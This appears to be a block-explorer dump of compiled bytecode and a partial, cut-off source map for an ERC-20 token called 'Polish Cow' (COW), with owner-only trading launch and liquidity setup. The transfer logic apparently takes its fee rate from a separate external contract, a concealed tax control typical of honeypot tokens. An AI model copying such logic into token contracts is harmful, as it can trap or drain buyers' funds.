600480360381019061036a9190611570565b610bac565b005b60606040518060400160405280600a81526020017f506f6c69736820436f7700000000000000000000000000000000000000000000815250905090565b5f6103ba338484610c9b565b6001905092915050565b5f600354905090565b5f6103d9848484610e5e565b61046e84336104698560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111a690919063ffffffff16565b610c9b565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166104986109ce565b73ffffffffffffffffffffffffffffffffffffffff16146104ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e59061164b565b60405180910390fd5b600660149054906101000a900460ff161561053e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610535906116b3565b60405180910390fd5b61056c3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600354610c9b565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105fa91906116e5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610680573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106a491906116e5565b6040518363ffffffff1660e01b81526004016106c1929190611710565b6020604051808303815f875af11580156106dd573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070191906116e5565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061078830610908565b5f806107926109ce565b426040518863ffffffff1660e01b81526004016107b496959493929190611779565b60606040518083038185885af11580156107d0573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107f591906117ec565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161089592919061183c565b6020604051808303815f875af11580156108b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d5919061188d565b506001600660146101000a81548160ff021916908315150217905550565b5f8060149054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661096d6109ce565b73ffffffffffffffffffffffffffffffffffffffff16146109c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ba9061164b565b60405180910390fd5b6109cc5f6111cc565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f434f570000000000000000000000000000000000000000000000000000000000815250905090565b5f610a3e338484610e5e565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16610a8c6109ce565b73ffffffffffffffffffffffffffffffffffffffff1614610ae2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad99061164b565b60405180910390fd5b5f600f5f6101000a81548160ff021916908315150217905550427ff4eaa75eae08ae80c3daf791438dac1cff2cfd3b0bad2304ec7bbb067e50261660405160405180910390a2565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610bcb6109ce565b73ffffffffffffffffffffffffffffffffffffffff1614610c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c189061164b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8690611928565b60405180910390fd5b610c98816111cc565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d00906119b6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6e90611a44565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e5191906114d3565b60405180910390a3505050565b5f808211610e6a575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610ea1575f80fd5b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401610efc91906115aa565b602060405180830381865afa158015610f17573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f3b9190611a62565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610fc6575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611006576110036064610ff56008548411610fe457600754610fe6565b835b8661128d90919063ffffffff16565b6112cd90919063ffffffff16565b91505b6110568360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111a690919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110f9826110eb8560015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112f290919063ffffffff16565b6111a690919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161119791906114d3565b60405180910390a35050505050565b5f828211156111b3575f80fd5b5f82846111c09190611aba565b90508091505092915050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f80830361129d575f90506112c7565b5f82846112aa9190611aed565b90508284826112b99190611b5b565b146112c2575f80fd5b809150505b92915050565b5f8082116112d9575f80fd5b5f82846112e69190611b5b565b90508091505092915050565b5f8082846113009190611b8b565b90508381101561130e575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561134f578082015181840152602081019050611334565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61137482611318565b61137e8185611322565b935061138e818560208601611332565b6113978161135a565b840191505092915050565b5f6020820190508181035f8301526113ba818461136a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113ef826113c6565b9050919050565b6113ff816113e5565b8114611409575f80fd5b50565b5f8135905061141a816113f6565b92915050565b5f819050919050565b61143281611420565b811461143c575f80fd5b50565b5f8135905061144d81611429565b92915050565b5f8060408385031215611469576114686113c2565b5b5f6114768582860161140c565b92505060206114878582860161143f565b9150509250929050565b5f8115159050919050565b6114a581611491565b82525050565b5f6020820190506114be5f83018461149c565b92915050565b6114cd81611420565b82525050565b5f6020820190506114e65f8301846114c4565b92915050565b5f805f60608486031215611503576115026113c2565b5b5f6115108682870161140c565b93505060206115218682870161140c565b92505060406115328682870161143f565b9150509250925092565b5f60ff82169050919050565b6115518161153c565b82525050565b5f60208201905061156a5f830184611548565b92915050565b5f60208284031215611585576115846113c2565b5b5f6115928482850161140c565b91505092915050565b6115a4816113e5565b82525050565b5f6020820190506115bd5f83018461159b565b92915050565b5f80604083850312156115d9576115d86113c2565b5b5f6115e68582860161140c565b92505060206115f78582860161140c565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611635602083611322565b915061164082611601565b602082019050919050565b5f6020820190508181035f83015261166281611629565b9050919050565b7f54726164696e6720616c7265616479206f70656e65642e0000000000000000005f82015250565b5f61169d601783611322565b91506116a882611669565b602082019050919050565b5f6020820190508181035f8301526116ca81611691565b9050919050565b5f815190506116df816113f6565b92915050565b5f602082840312156116fa576116f96113c2565b5b5f611707848285016116d1565b91505092915050565b5f6040820190506117235f83018561159b565b611730602083018461159b565b9392505050565b5f819050919050565b5f819050919050565b5f61176361175e61175984611737565b611740565b611420565b9050919050565b61177381611749565b82525050565b5f60c08201905061178c5f83018961159b565b61179960208301886114c4565b6117a6604083018761176a565b6117b3606083018661176a565b6117c0608083018561159b565b6117cd60a08301846114c4565b979650505050505050565b5f815190506117e681611429565b92915050565b5f805f60608486031215611803576118026113c2565b5b5f611810868287016117d8565b9350506020611821868287016117d8565b9250506040611832868287016117d8565b9150509250925092565b5f60408201905061184f5f83018561159b565b61185c60208301846114c4565b9392505050565b61186c81611491565b8114611876575f80fd5b50565b5f8151905061188781611863565b92915050565b5f602082840312156118a2576118a16113c2565b5b5f6118af84828501611879565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611912602683611322565b915061191d826118b8565b604082019050919050565b5f6020820190508181035f83015261193f81611906565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6119a0602483611322565b91506119ab82611946565b604082019050919050565b5f6020820190508181035f8301526119cd81611994565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611a2e602283611322565b9150611a39826119d4565b604082019050919050565b5f6020820190508181035f830152611a5b81611a22565b9050919050565b5f60208284031215611a7757611a766113c2565b5b5f611a84848285016117d8565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611ac482611420565b9150611acf83611420565b9250828203905081811115611ae757611ae6611a8d565b5b92915050565b5f611af782611420565b9150611b0283611420565b9250828202611b1081611420565b91508282048414831517611b2757611b26611a8d565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611b6582611420565b9150611b7083611420565b925082611b8057611b7f611b2e565b5b828204905092915050565b5f611b9582611420565b9150611ba083611420565b9250828201905080821115611bb857611bb7611a8d565b5b9291505056fea2646970667358221220f46ecade5da80988ceba5294f509ad424f6346b915a8377b0c8f68a0d66ffdce64736f6c63430008180033
Deployed Bytecode
0x6080604052600436106100e7575f3560e01c8063715018a611610089578063c816841b11610058578063c816841b146102cd578063db05e5cb146102f7578063dd62ed3e1461030d578063f2fde38b14610349576100e7565b8063715018a6146102275780638da5cb5b1461023d57806395d89b4114610267578063a9059cbb14610291576100e7565b806323b872dd116100c557806323b872dd1461017b578063293230b8146101b7578063313ce567146101c157806370a08231146101eb576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151575b5f80fd5b3480156100f6575f80fd5b506100ff610371565b60405161010c91906113a2565b60405180910390f35b348015610120575f80fd5b5061013b60048036038101906101369190611453565b6103ae565b60405161014891906114ab565b60405180910390f35b34801561015c575f80fd5b506101656103c4565b60405161017291906114d3565b60405180910390f35b348015610186575f80fd5b506101a1600480360381019061019c91906114ec565b6103cd565b6040516101ae91906114ab565b60405180910390f35b6101bf610479565b005b3480156101cc575f80fd5b506101d56108f3565b6040516101e29190611557565b60405180910390f35b3480156101f6575f80fd5b50610211600480360381019061020c9190611570565b610908565b60405161021e91906114d3565b60405180910390f35b348015610232575f80fd5b5061023b61094e565b005b348015610248575f80fd5b506102516109ce565b60405161025e91906115aa565b60405180910390f35b348015610272575f80fd5b5061027b6109f5565b60405161028891906113a2565b60405180910390f35b34801561029c575f80fd5b506102b760048036038101906102b29190611453565b610a32565b6040516102c491906114ab565b60405180910390f35b3480156102d8575f80fd5b506102e1610a48565b6040516102ee91906115aa565b60405180910390f35b348015610302575f80fd5b5061030b610a6d565b005b348015610318575f80fd5b50610333600480360381019061032e91906115c3565b610b2a565b60405161034091906114d3565b60405180910390f35b348015610354575f80fd5b5061036f600480360381019061036a9190611570565b610bac565b005b60606040518060400160405280600a81526020017f506f6c69736820436f7700000000000000000000000000000000000000000000815250905090565b5f6103ba338484610c9b565b6001905092915050565b5f600354905090565b5f6103d9848484610e5e565b61046e84336104698560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111a690919063ffffffff16565b610c9b565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166104986109ce565b73ffffffffffffffffffffffffffffffffffffffff16146104ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e59061164b565b60405180910390fd5b600660149054906101000a900460ff161561053e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610535906116b3565b60405180910390fd5b61056c3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600354610c9b565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105fa91906116e5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610680573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106a491906116e5565b6040518363ffffffff1660e01b81526004016106c1929190611710565b6020604051808303815f875af11580156106dd573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070191906116e5565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061078830610908565b5f806107926109ce565b426040518863ffffffff1660e01b81526004016107b496959493929190611779565b60606040518083038185885af11580156107d0573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107f591906117ec565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161089592919061183c565b6020604051808303815f875af11580156108b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d5919061188d565b506001600660146101000a81548160ff021916908315150217905550565b5f8060149054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661096d6109ce565b73ffffffffffffffffffffffffffffffffffffffff16146109c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ba9061164b565b60405180910390fd5b6109cc5f6111cc565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f434f570000000000000000000000000000000000000000000000000000000000815250905090565b5f610a3e338484610e5e565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16610a8c6109ce565b73ffffffffffffffffffffffffffffffffffffffff1614610ae2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad99061164b565b60405180910390fd5b5f600f5f6101000a81548160ff021916908315150217905550427ff4eaa75eae08ae80c3daf791438dac1cff2cfd3b0bad2304ec7bbb067e50261660405160405180910390a2565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610bcb6109ce565b73ffffffffffffffffffffffffffffffffffffffff1614610c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c189061164b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8690611928565b60405180910390fd5b610c98816111cc565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d00906119b6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6e90611a44565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e5191906114d3565b60405180910390a3505050565b5f808211610e6a575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610ea1575f80fd5b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401610efc91906115aa565b602060405180830381865afa158015610f17573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f3b9190611a62565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610fc6575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611006576110036064610ff56008548411610fe457600754610fe6565b835b8661128d90919063ffffffff16565b6112cd90919063ffffffff16565b91505b6110568360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111a690919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110f9826110eb8560015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112f290919063ffffffff16565b6111a690919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161119791906114d3565b60405180910390a35050505050565b5f828211156111b3575f80fd5b5f82846111c09190611aba565b90508091505092915050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f80830361129d575f90506112c7565b5f82846112aa9190611aed565b90508284826112b99190611b5b565b146112c2575f80fd5b809150505b92915050565b5f8082116112d9575f80fd5b5f82846112e69190611b5b565b90508091505092915050565b5f8082846113009190611b8b565b90508381101561130e575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561134f578082015181840152602081019050611334565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61137482611318565b61137e8185611322565b935061138e818560208601611332565b6113978161135a565b840191505092915050565b5f6020820190508181035f8301526113ba818461136a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113ef826113c6565b9050919050565b6113ff816113e5565b8114611409575f80fd5b50565b5f8135905061141a816113f6565b92915050565b5f819050919050565b61143281611420565b811461143c575f80fd5b50565b5f8135905061144d81611429565b92915050565b5f8060408385031215611469576114686113c2565b5b5f6114768582860161140c565b92505060206114878582860161143f565b9150509250929050565b5f8115159050919050565b6114a581611491565b82525050565b5f6020820190506114be5f83018461149c565b92915050565b6114cd81611420565b82525050565b5f6020820190506114e65f8301846114c4565b92915050565b5f805f60608486031215611503576115026113c2565b5b5f6115108682870161140c565b93505060206115218682870161140c565b92505060406115328682870161143f565b9150509250925092565b5f60ff82169050919050565b6115518161153c565b82525050565b5f60208201905061156a5f830184611548565b92915050565b5f60208284031215611585576115846113c2565b5b5f6115928482850161140c565b91505092915050565b6115a4816113e5565b82525050565b5f6020820190506115bd5f83018461159b565b92915050565b5f80604083850312156115d9576115d86113c2565b5b5f6115e68582860161140c565b92505060206115f78582860161140c565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611635602083611322565b915061164082611601565b602082019050919050565b5f6020820190508181035f83015261166281611629565b9050919050565b7f54726164696e6720616c7265616479206f70656e65642e0000000000000000005f82015250565b5f61169d601783611322565b91506116a882611669565b602082019050919050565b5f6020820190508181035f8301526116ca81611691565b9050919050565b5f815190506116df816113f6565b92915050565b5f602082840312156116fa576116f96113c2565b5b5f611707848285016116d1565b91505092915050565b5f6040820190506117235f83018561159b565b611730602083018461159b565b9392505050565b5f819050919050565b5f819050919050565b5f61176361175e61175984611737565b611740565b611420565b9050919050565b61177381611749565b82525050565b5f60c08201905061178c5f83018961159b565b61179960208301886114c4565b6117a6604083018761176a565b6117b3606083018661176a565b6117c0608083018561159b565b6117cd60a08301846114c4565b979650505050505050565b5f815190506117e681611429565b92915050565b5f805f60608486031215611803576118026113c2565b5b5f611810868287016117d8565b9350506020611821868287016117d8565b9250506040611832868287016117d8565b9150509250925092565b5f60408201905061184f5f83018561159b565b61185c60208301846114c4565b9392505050565b61186c81611491565b8114611876575f80fd5b50565b5f8151905061188781611863565b92915050565b5f602082840312156118a2576118a16113c2565b5b5f6118af84828501611879565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611912602683611322565b915061191d826118b8565b604082019050919050565b5f6020820190508181035f83015261193f81611906565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6119a0602483611322565b91506119ab82611946565b604082019050919050565b5f6020820190508181035f8301526119cd81611994565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611a2e602283611322565b9150611a39826119d4565b604082019050919050565b5f6020820190508181035f830152611a5b81611a22565b9050919050565b5f60208284031215611a7757611a766113c2565b5b5f611a84848285016117d8565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611ac482611420565b9150611acf83611420565b9250828203905081811115611ae757611ae6611a8d565b5b92915050565b5f611af782611420565b9150611b0283611420565b9250828202611b1081611420565b91508282048414831517611b2757611b26611a8d565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611b6582611420565b9150611b7083611420565b925082611b8057611b7f611b2e565b5b828204905092915050565b5f611b9582611420565b9150611ba083611420565b9250828201905080821115611bb857611bb7611a8d565b5b9291505056fea2646970667358221220f46ecade5da80988ceba5294f509ad424f6346b915a8377b0c8f68a0d66ffdce64736f6c63430008180033
Deployed Bytecode Sourcemap
11729:4670:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13091:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15120:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13182:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13871:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15278:560;;;:::i;:::-;;13780:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13522:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11176:103;;;;;;;;;;;;;:::i;:::-;;10957:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13281;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14956:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12326:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13640:132;;;;;;;;;;;;;:::i;:::-;;13376:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11285:238;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13091:83;13128:13;13161:5;;;;;;;;;;;;;;;;;13154:12;;13091:83;:::o;15120:150::-;15186:4;15203:37;15212:10;15224:7;15233:6;15203:8;:37::i;:::-;15258:4;15251:11;;15120:150;;;;:::o;13182:91::-;13226:7;13253:12;;13246:19;;13182:91;:::o;13871:256::-;13960:4;13977:36;13987:6;13995:9;14006:6;13977:9;:36::i;:::-;14024:73;14033:6;14041:10;14053:43;14089:6;14053:11;:19;14065:6;14053:19;;;;;;;;;;;;;;;:31;14073:10;14053:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;14024:8;:73::i;:::-;14115:4;14108:11;;13871:256;;;;;:::o;15278:560::-;11103:10;11092:21;;:7;:5;:7::i;:::-;:21;;;11084:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;15351:14:::1;;;;;;;;;;;15350:15;15342:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;15404:63;15421:4;15436:15;;;;;;;;;;;15454:12;;15404:8;:63::i;:::-;15510:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15492:55;;;15556:4;15563:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15492:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15478:11;;:108;;;;;;;;;;;;;;;;;;15597:15;;;;;;;;;;;:31;;;15636:9;15655:4;15661:24;15679:4;15661:9;:24::i;:::-;15687:1;15690::::0;15693:7:::1;:5;:7::i;:::-;15702:15;15597:121;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;15736:11;;;;;;;;;;;15729:27;;;15765:15;;;;;;;;;;;15783:14;15729:69;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;15826:4;15809:14;;:21;;;;;;;;;;;;;;;;;;15278:560::o:0;13780:83::-;13821:5;13846:9;;;;;;;;;;;13839:16;;13780:83;:::o;13522:110::-;13579:7;13606:9;:18;13616:7;13606:18;;;;;;;;;;;;;;;;13599:25;;13522:110;;;:::o;11176:103::-;11103:10;11092:21;;:7;:5;:7::i;:::-;:21;;;11084:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;11241:30:::1;11268:1;11241:18;:30::i;:::-;11176:103::o:0;10957:87::-;11003:7;11030:6;;;;;;;;;;;11023:13;;10957:87;:::o;13281:::-;13320:13;13353:7;;;;;;;;;;;;;;;;;13346:14;;13281:87;:::o;14956:156::-;15025:4;15042:40